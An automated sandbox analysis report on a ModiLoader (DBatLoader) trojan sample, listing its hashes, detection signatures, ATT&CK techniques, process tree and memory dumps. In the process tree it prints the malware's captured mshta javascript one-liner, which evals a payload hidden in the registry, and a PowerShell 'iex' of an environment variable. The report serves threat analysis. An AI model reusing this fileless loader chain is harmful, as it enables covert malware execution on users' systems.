modiloader | 0d79f2cfe389511d4c45f1fe85c92c5c94e6a699c348e72d36096bee016b777c

Analysis

max time kernel
179s
max time network
172s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
11/10/2022, 14:40

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General

Target

0d79f2cfe389511d4c45f1fe85c92c5c94e6a699c348e72d36096bee016b777c.exe
Size

510KB
MD5

6a527509124125bed8c6ae6dba165902
SHA1

5ab1f9820c5d95dc6973b16ed1cee580a86ee449
SHA256

0d79f2cfe389511d4c45f1fe85c92c5c94e6a699c348e72d36096bee016b777c
SHA512

b76ab77a7b0dec818268677e0ebb1cda8e15c8b7619efead295dd979142a711e74eeda7b3aa841288c188ce48d81af96c13321c8764720bb379a8fd90281e4e8
SSDEEP

12288:qujL7K6wQiurgzw6wVzxzz7MagBqNVWQ+RQhzkyu:qujmQiurgz0zxzvgI/WQ+RQdkyu

Score

10^/10

modiloader trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	996	1656	mshta.exe	83

ModiLoader Second Stage 3 IoCs

resource	yara_rule
behavioral2/memory/4140-133-0x0000000000400000-0x0000000000484000-memory.dmp	modiloader_stage2
behavioral2/memory/4140-134-0x00000000025B0000-0x0000000002670000-memory.dmp	modiloader_stage2
behavioral2/memory/4140-140-0x00000000025B0000-0x0000000002670000-memory.dmp	modiloader_stage2

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
376	powershell.exe
376	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	376	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 996 wrote to memory of 376	996	mshta.exe	85
PID 996 wrote to memory of 376	996	mshta.exe	85
PID 996 wrote to memory of 376	996	mshta.exe	85

C:\Users\Admin\AppData\Local\Temp\0d79f2cfe389511d4c45f1fe85c92c5c94e6a699c348e72d36096bee016b777c.exe
"C:\Users\Admin\AppData\Local\Temp\0d79f2cfe389511d4c45f1fe85c92c5c94e6a699c348e72d36096bee016b777c.exe"
1⤵
PID:4140

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" javascript:u2aM5jHQki="Gy1kVTovRS";np18=new%20ActiveXObject("WScript.Shell");vS2YnNBP="xjQhd5pwA";Zyg1f=np18.RegRead("HKLM\\software\\Wow6432Node\\s7TcwhYxY\\jzqfrPZ");KhDwv1z="FAKo";eval(Zyg1f);efWKsQpa6="q";
1⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:996
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:bqhfvan
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:376

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/376-139-0x0000000005000000-0x0000000005628000-memory.dmp

Filesize
6.2MB

Download
memory/376-143-0x0000000005880000-0x00000000058E6000-memory.dmp

Filesize
408KB

Download
memory/376-146-0x0000000005630000-0x000000000564A000-memory.dmp

Filesize
104KB

Download
memory/376-144-0x0000000005E60000-0x0000000005E7E000-memory.dmp

Filesize
120KB

Download
memory/376-138-0x0000000004990000-0x00000000049C6000-memory.dmp

Filesize
216KB

Download
memory/376-141-0x0000000005670000-0x0000000005692000-memory.dmp

Filesize
136KB

Download
memory/376-145-0x0000000007560000-0x0000000007BDA000-memory.dmp

Filesize
6.5MB

Download
memory/376-142-0x0000000005810000-0x0000000005876000-memory.dmp

Filesize
408KB

Download
memory/4140-133-0x0000000000400000-0x0000000000484000-memory.dmp

Filesize
528KB

Download
memory/4140-132-0x0000000002670000-0x0000000002705000-memory.dmp

Filesize
596KB

Download
memory/4140-137-0x0000000002670000-0x0000000002705000-memory.dmp

Filesize
596KB

Download
memory/4140-140-0x00000000025B0000-0x0000000002670000-memory.dmp

Filesize
768KB

Download
memory/4140-134-0x00000000025B0000-0x0000000002670000-memory.dmp

Filesize
768KB

Download